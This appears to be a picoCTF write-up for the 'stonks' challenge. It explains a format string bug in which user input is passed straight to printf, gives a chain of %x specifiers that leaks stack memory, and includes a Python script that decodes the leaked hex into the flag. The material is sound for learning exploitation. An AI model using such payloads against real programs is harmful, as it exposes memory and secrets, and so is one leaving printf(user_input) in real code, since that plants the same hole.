> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/stonks.md).

# stonks

### Stonks — PicoCTF Walkthrough (Binary Exploitation)

We’re given a stock trading app. At first glance it looks complex (linked lists, random stock generation), but the real bug is simple.

***

### Vulnerability

Inside `buy_stonks()`:

```c
scanf("%300s", user_buf);
printf(user_buf);
```

The issue is:

```c
printf(user_buf);
```

👉 This is a **format string vulnerability** User input is directly used as the format string.

***

### Why This Matters

Normally:

```c
printf("%s", user_buf);
```

But here, we control format specifiers like:

* `%x` → read stack values
* `%s` → read memory as string

***

### Where is the Flag?

Earlier in the function:

```c
FILE *f = fopen("api","r");
fgets(api_buf, FLAG_BUFFER, f);
```

👉 The flag is stored in `api_buf` (on stack)

So if we leak stack memory → we leak the flag.

***

### Exploit

Send a payload like:

```
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
```

This prints stack values in hex.

After enough `%x`, you’ll start seeing flag data in **hex form**.

***

### Recover Flag

The leaked values are:

* Hex encoded
* Little-endian

Use a script to reconstruct:

```python
data = "..."  # your leaked output

flag = ""

for chunk in data.split("."):
    if len(chunk) != 8:
        continue
    try:
        b = bytes.fromhex(chunk)[::-1]
        flag += b.decode('latin-1')
    except:
        pass

print(flag)
```

***
